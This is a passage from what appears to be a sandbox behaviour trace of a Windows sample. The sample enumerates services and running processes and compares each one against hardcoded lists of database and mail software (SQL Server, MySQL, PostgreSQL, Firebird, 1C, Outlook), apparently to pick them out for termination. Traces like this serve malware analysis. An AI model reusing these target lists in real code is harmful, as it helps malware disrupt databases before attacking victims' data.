[0059.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0059.526] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0059.526] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0059.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0059.526] lstrlenW (lpString="NlaSvc") returned 6 [0059.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0059.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0059.526] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0059.526] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0059.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0059.526] lstrlenW (lpString="nsi") returned 3 [0059.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0059.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0059.526] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0059.526] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0059.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0059.526] lstrlenW (lpString="PcaSvc") returned 6 [0059.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0059.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0059.526] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0059.526] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0059.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0059.527] lstrlenW (lpString="PlugPlay") returned 8 [0059.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0059.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0059.527] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0059.527] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0059.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0059.527] lstrlenW (lpString="Power") returned 5 [0059.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0059.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0059.527] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0059.527] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0059.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0059.527] lstrlenW (lpString="ProfSvc") returned 7 [0059.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0059.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0059.527] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0059.527] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0059.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0059.527] lstrlenW (lpString="RpcEptMapper") returned 12 [0059.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0059.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0059.528] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0059.528] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0059.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0059.528] lstrlenW (lpString="RpcSs") returned 5 [0059.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0059.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0059.528] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0059.528] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0059.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0059.528] lstrlenW (lpString="SamSs") returned 5 [0059.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0059.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0059.528] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0059.528] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0059.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0059.528] lstrlenW (lpString="Schedule") returned 8 [0059.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0059.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0059.529] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0059.529] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0059.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0059.529] lstrlenW (lpString="SENS") returned 4 [0059.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0059.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0059.529] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0059.529] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0059.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0059.529] lstrlenW (lpString="ShellHWDetection") returned 16 [0059.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0059.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0059.529] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0059.529] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0059.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0059.529] lstrlenW (lpString="Spooler") returned 7 [0059.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0059.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0059.529] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0059.529] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0059.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0059.529] lstrlenW (lpString="sppsvc") returned 6 [0059.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0059.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0059.529] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0059.530] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0059.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0059.530] lstrlenW (lpString="SysMain") returned 7 [0059.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0059.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0059.530] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0059.530] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0059.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0059.530] lstrlenW (lpString="Themes") returned 6 [0059.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0059.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0059.530] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0059.530] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0059.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0059.530] lstrlenW (lpString="TrkWks") returned 6 [0059.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0059.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0059.530] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0059.530] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0059.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0059.531] lstrlenW (lpString="UxSms") returned 5 [0059.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0059.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0059.531] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0059.531] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0059.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0059.531] lstrlenW (lpString="VSS") returned 3 [0059.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0059.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0059.531] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0059.531] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0059.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0059.531] lstrlenW (lpString="WdiServiceHost") returned 14 [0059.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0059.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0059.531] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0059.531] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0059.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0059.531] lstrlenW (lpString="WdiSystemHost") returned 13 [0059.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0059.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0059.531] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0059.532] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0059.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0059.532] lstrlenW (lpString="WinDefend") returned 9 [0059.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0059.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0059.532] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0059.532] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0059.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0059.532] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0059.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0059.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0059.532] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0059.532] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0059.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0059.532] lstrlenW (lpString="Winmgmt") returned 7 [0059.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0059.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0059.532] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0059.532] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0059.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0059.532] lstrlenW (lpString="wscsvc") returned 6 [0059.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0059.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0059.533] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0059.533] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0059.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0059.533] lstrlenW (lpString="wuauserv") returned 8 [0059.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0059.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0059.533] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0059.533] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0059.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0059.533] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60e1c0 | out: hHeap=0x5c0000) returned 1 [0059.533] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x208 [0059.539] Process32FirstW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0059.540] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0059.541] lstrlenW (lpString="System") returned 6 [0059.541] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0059.541] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0059.541] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0059.541] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0059.541] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0059.541] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0059.541] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0059.541] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0059.542] lstrlenW (lpString="smss.exe") returned 8 [0059.542] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0059.542] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0059.542] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.543] lstrlenW (lpString="csrss.exe") returned 9 [0059.543] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0059.545] lstrlenW (lpString="wininit.exe") returned 11 [0059.545] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.546] lstrlenW (lpString="csrss.exe") returned 9 [0059.546] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0059.546] lstrlenW (lpString="winlogon.exe") returned 12 [0059.546] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0059.547] lstrlenW (lpString="services.exe") returned 12 [0059.547] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0059.548] lstrlenW (lpString="lsass.exe") returned 9 [0059.548] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0059.549] lstrlenW (lpString="lsm.exe") returned 7 [0059.549] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.815] lstrlenW (lpString="svchost.exe") returned 11 [0059.815] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.816] lstrlenW (lpString="svchost.exe") returned 11 [0059.816] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.817] lstrlenW (lpString="svchost.exe") returned 11 [0059.817] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.818] lstrlenW (lpString="svchost.exe") returned 11 [0059.818] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.819] lstrlenW (lpString="svchost.exe") returned 11 [0059.819] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0059.820] lstrlenW (lpString="audiodg.exe") returned 11 [0059.821] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.821] lstrlenW (lpString="svchost.exe") returned 11 [0059.822] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.822] lstrlenW (lpString="svchost.exe") returned 11 [0059.822] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0059.823] lstrlenW (lpString="dwm.exe") returned 7 [0059.823] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0059.825] lstrlenW (lpString="explorer.exe") returned 12 [0059.825] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0059.826] lstrlenW (lpString="spoolsv.exe") returned 11 [0059.826] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.827] lstrlenW (lpString="taskhost.exe") returned 12 [0059.827] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.828] lstrlenW (lpString="svchost.exe") returned 11 [0059.828] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0059.829] lstrlenW (lpString="taskeng.exe") returned 11 [0059.829] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.830] lstrlenW (lpString="taskhost.exe") returned 12 [0059.830] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.831] lstrlenW (lpString="svchost.exe") returned 11 [0059.831] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0059.832] lstrlenW (lpString="sppsvc.exe") returned 10 [0059.832] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.832] lstrlenW (lpString="svchost.exe") returned 11 [0059.833] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barrelsince.exe")) returned 1 [0059.833] lstrlenW (lpString="barrelsince.exe") returned 15 [0059.834] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="cricket.exe")) returned 1 [0059.834] lstrlenW (lpString="cricket.exe") returned 11 [0059.834] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="angelsalot.exe")) returned 1 [0059.835] lstrlenW (lpString="angelsalot.exe") returned 14 [0059.835] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bridge.exe")) returned 1 [0059.836] lstrlenW (lpString="bridge.exe") returned 10 [0059.837] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh_shipping.exe")) returned 1 [0059.837] lstrlenW (lpString="sh_shipping.exe") returned 15 [0059.838] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tobacco packet.exe")) returned 1 [0059.839] lstrlenW (lpString="tobacco packet.exe") returned 18 [0059.839] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pubscrashsatisfactory.exe")) returned 1 [0059.840] lstrlenW (lpString="pubscrashsatisfactory.exe") returned 25 [0059.840] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="confidentiality-lookup-going.exe")) returned 1 [0059.841] lstrlenW 